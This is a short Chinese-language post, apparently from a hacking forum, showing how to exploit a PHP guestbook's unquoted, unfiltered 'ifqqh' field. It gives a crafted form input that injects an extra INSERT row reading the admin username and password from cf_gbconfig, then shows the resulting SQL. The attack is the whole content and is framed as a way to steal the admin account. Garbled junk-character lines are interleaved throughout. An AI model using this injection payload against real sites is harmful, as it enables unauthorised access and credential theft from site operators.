php留言本注入得帐号密码

admin

留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。
" J$ \+ m( v% c  `) K; F
: ^% f& f( I; t: g$ [( w$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
, t0 g: _% X" [7 m# Z  s" x$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
, k6 p  Y7 I- J9 h# j0 m  E& M
* e  D7 P3 n  t& m; j* [$ Y& `提交的时候把ifqqh的值改一下。变成

" H7 R# |, F/ n! p2 s: Z<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />
) d! Q. |5 r. ?# z
这样SQL插入语句就变了.
' R% E  ^) U+ l
' c& N. L! X4 M* a1 s% S: `insert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
) @% I" `9 e" h
构造了另外一句SQL。并且把帐号密码读出来。
# H% ?- t2 _& w# o. L0 [* B